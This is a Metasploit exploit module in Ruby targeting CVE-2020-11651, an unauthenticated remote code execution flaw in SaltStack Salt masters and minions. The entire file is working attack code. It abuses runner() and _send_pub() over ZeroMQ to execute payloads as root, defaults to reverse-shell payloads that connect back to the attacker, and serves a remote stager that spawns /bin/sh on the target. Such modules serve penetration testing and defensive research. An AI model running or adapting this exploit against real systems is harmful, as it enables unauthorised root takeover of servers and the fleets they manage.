##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = GreatRanking

  include Msf::Exploit::Remote::ZeroMQ
  include Msf::Exploit::Remote::CheckModule
  include Msf::Exploit::CmdStager::HTTP # HACK: This is a mixin of a mixin
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SaltStack Salt Master/Minion Unauthenticated RCE',
        'Description' => %q{
          This module exploits unauthenticated access to the runner() and
          _send_pub() methods in the SaltStack Salt master's ZeroMQ request
          server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
          execute code as root on either the master or on select minions.

          VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
          well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual
          Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,
          1.3, 1.5, and 1.6 in certain configurations, are known to be affected
          by the Salt vulnerabilities.

          Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
          well as Vulhub's Docker image.
        },
        'Author' => [
          'F-Secure', # Discovery
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-11651'], # Auth bypass (used by this module)
          ['CVE', '2020-11652'], # Authed directory traversals (not used here)
          ['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],
          ['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],
          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG'],
          ['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']
        ],
        'DisclosureDate' => '2020-04-30', # F-Secure advisory
        'License' => MSF_LICENSE,
        'Platform' => ['python', 'unix'],
        'Arch' => [ARCH_PYTHON, ARCH_CMD],
        'Privileged' => true,
        'Targets' => [
          [
            'Master (Python payload)',
            {
              'Description' => 'Executing Python payload on the master',
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'Type' => :python,
              'DefaultOptions' => {
                'PAYLOAD' => 'python/meterpreter/reverse_https'
              }
            }
          ],
          [
            'Master (Unix command)',
            {
              'Description' => 'Executing Unix command on the master',
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
              }
            }
          ],
          [
            'Minions (Python payload)',
            {
              'Description' => 'Executing Python payload on the minions',
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'Type' => :python,
              'DefaultOptions' => {
                'PAYLOAD' => 'python/meterpreter/reverse_https'
              }
            }
          ],
          [
            'Minions (Unix command)',
            {
              'Description' => 'Executing Unix command on the minions',
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                # cmd/unix/reverse_python_ssl crashes in this target
                'PAYLOAD' => 'cmd/unix/reverse_python'
              }
            }
          ]
        ],
        'DefaultTarget' => 0, # Defaults to master for safety
        'DefaultOptions' => {
          'CheckModule' => 'auxiliary/gather/saltstack_salt_root_key'
        },
        'Notes' => {
          'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(4506),
      OptString.new('ROOT_KEY', [false, "Master's root key if you have it"]),
      OptRegexp.new('MINIONS', [true, 'PCRE regex of minions to target', '.*'])
    ])

    register_advanced_options([
      OptInt.new('WfsDelay', [true, 'Seconds to wait for *all* sessions', 10])
    ])
  end

  # NOTE: check is provided by auxiliary/gather/saltstack_salt_root_key

  def exploit
    if target.name.start_with?('Master')
      if (root_key = datastore['ROOT_KEY'])
        print_status("User-specified root key: #{root_key}")
      else
        # check.reason is from auxiliary/gather/saltstack_salt_root_key
        root_key = check.reason
      end

      unless root_key
        fail_with(Failure::BadConfig,
                  "#{target['Description']} requires a root key")
      end
    end

    # These are from Msf::Exploit::Remote::ZeroMQ
    zmq_connect
    zmq_negotiate

    print_status("#{target['Description']}: #{datastore['PAYLOAD']}")

    case target.name
    when /^Master/
      yeet_runner(root_key)
    when /^Minions/
      yeet_send_pub
    end

    # HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one
    sleep(wfs_delay)
  rescue EOFError, Rex::ConnectionError => e
    print_error("#{e.class}: #{e.message}")
  ensure
    # This is from Msf::Exploit::Remote::ZeroMQ
    zmq_disconnect
  end

  def yeet_runner(root_key)
    print_status("Yeeting runner() at #{peer}")

    # https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951
    # https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951
    runner = {
      'cmd' => 'runner',
      # https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd
      'fun' => 'salt.cmd',
      'kwarg' => {
        'hide_output' => true,
        'ignore_retcode' => true,
        'output_loglevel' => 'quiet'
      },
      'user' => 'root', # This is NOT the Unix user!
      'key' => root_key # No JID needed, only the root key!
    }

    case target['Type']
    when :python
      vprint_status("Executing Python code: #{payload.encoded}")

      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
      runner['kwarg'].merge!(
        'fun' => 'cmd.exec_code',
        'lang' => payload.arch.first,
        'code' => payload.encoded
      )
    when :unix_cmd
      # HTTPS doesn't appear to be supported by the server :(
      print_status("Serving intermediate stager over HTTP: #{start_service}")

      vprint_status("Executing Unix command: #{payload.encoded}")

      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.script
      runner['kwarg'].merge!(
        # cmd.run doesn't work due to a missing argument error, so we use this
        'fun' => 'cmd.script',
        'source' => get_uri,
        'stdin' => payload.encoded
      )
    end

    vprint_status("Unserialized clear load: #{runner}")
    zmq_send_message(serialize_clear_load(runner))

    unless (res = sock.get_once)
      fail_with(Failure::Unknown, 'Did not receive runner() response')
    end

    vprint_good("Received runner() response: #{res.inspect}")
  end

  def yeet_send_pub
    print_status("Yeeting _send_pub() at #{peer}")

    # NOTE: A unique JID (job ID) is needed for every published job
    jid = generate_jid

    # https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L2043-L2151
    # https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L2043-L2151
    send_pub = {
      'cmd' => '_send_pub',
      'kwargs' => {
        'bg' => true,
        'hide_output' => true,
        'ignore_retcode' => true,
        'output_loglevel' => 'quiet',
        'show_jid' => false,
        'show_timeout' => false
      },
      'user' => 'root', # This is NOT the Unix user!
      'tgt' => datastore['MINIONS'],
      'tgt_type' => 'pcre',
      'jid' => jid
    }

    case target['Type']
    when :python
      vprint_status("Executing Python code: #{payload.encoded}")

      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
      send_pub.merge!(
        'fun' => 'cmd.exec_code',
        'arg' => [payload.arch.first, payload.encoded]
      )
    when :unix_cmd
      vprint_status("Executing Unix command: #{payload.encoded}")

      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.run
      send_pub.merge!(
        'fun' => 'cmd.run',
        'arg' => [payload.encoded]
      )
    end

    vprint_status("Unserialized clear load: #{send_pub}")
    zmq_send_message(serialize_clear_load(send_pub))

    unless (res = sock.get_once)
      fail_with(Failure::Unknown, 'Did not receive _send_pub() response')
    end

    vprint_good("Received _send_pub() response: #{res.inspect}")

    # NOTE: This path will likely change between platforms and distros
    register_file_for_cleanup("/var/cache/salt/minion/proc/#{jid}")
  end

  # https://github.com/saltstack/salt/blob/v2019.2.3/salt/utils/jid.py
  # https://github.com/saltstack/salt/blob/v3000.1/salt/utils/jid.py
  def generate_jid
    DateTime.now.new_offset.strftime('%Y%m%d%H%M%S%6N')
  end

  # HACK: Stub out the command stager used by Msf::Exploit::CmdStager::HTTP
  def stager_instance
    nil
  end

  # HACK: Sub out the executable used by Msf::Exploit::CmdStager::HTTP
  def exe
    # NOTE: The shebang line is necessary in this case!
    <<~SHELL
      #!/bin/sh
      /bin/sh
    SHELL
  end

end
